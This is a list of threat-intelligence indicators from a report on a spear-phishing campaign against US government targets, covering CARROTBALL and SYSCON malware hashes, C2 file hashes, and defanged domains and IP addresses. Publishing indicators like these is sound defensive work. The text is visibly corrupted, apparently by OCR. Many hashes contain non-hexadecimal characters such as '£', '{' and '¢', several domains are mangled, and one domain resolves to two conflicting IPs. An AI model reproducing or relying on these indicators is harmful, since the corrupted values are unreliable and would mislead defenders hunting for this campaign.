a4f858c6b54683d3b7455c9adcf2bb6b7ddc1f4d35d0£8f38a0f131c60d1790f
ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86{95e31801468be67a
9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225
4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726
63c3817a5e9984aaf59e8a61ddd54793ffed11ac5becef438528447f6b2823af
Malicious Document with CARROTBALL:
c1a9b923fc1f81d69bd0494d296c75887e4a0f9abfc1cdfbfadc0f4ab6c95db7
CARROTBALL Downloader:
56924402a17393e542{6bf5b02cd030cc3af73bc2e1c894al133cebb2ca9405ee
SYSCON Samples:
ceb8093507911939a17c6c7b39475f5d4db70a9ed3b85ef34ff5e6372b20a73e
52bal17b90244a46e0ef2a653452b26bcb94f0a03b999c343301fef4e3clec5d2
4958fe8c106200da988c22957821513efd05803460e8e5fcfedb5cbca8d87a5b
7d2b1af486610a45{78a573af9a9ad00414680£f8e958cfb5437a1b140acb60c
bdd90ed7e40c8324894efe9600f2b26fd18b22dcbf3c72548fee647a81d3c099

Associated SYSCON C2 Files:

f3d3fadc76adfabd239accb453512af33ae8667bf261758f402fff22d9df1f67
4b8790e9cb2f58293c28e695bec0a35e2ebd2da8el51c7e8c4513a1508c8bc94
ad63b8677c95792106f5af0b99af04e623146c6206125c¢93cf1ecOfbfeafaac9
c3ac29e4b0c5e1a991d703769b94c0790fbf81fd38cf6acdb240c5246c2517ca
a761b47ab25dc2aa66b2f8ad4ab9636e40ebbcaf67{8a34£3524456c09f47d76
42e874d96cb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f
Infrastructure:

Domain: handicapl.]eu5[.Jorg

IP Resolution: 69.197.143[.]12

Domain: panda2019[.]eu5[.]Jorg

IP Resolution: 162.253.155[.]226

Domain: downplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

Domain: lookplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

Additional CARROTBALL Samples Identified on VirusTotal:
6fa895d0472e87dea3c5c5bd6774488d2d7fe409ff9ae83870be3740fdfd40e8
Domain: downyes|[.]c1[.]biz

IP Resolution: Unavailable/unknown

989c042ab9a07b11026bce78dc091f25fa51cb5e310c668904afc7939b197624
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Domain: downplease[.]c1[.]biz

IP Resolution: 185.176.43[.]194

Source: https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/
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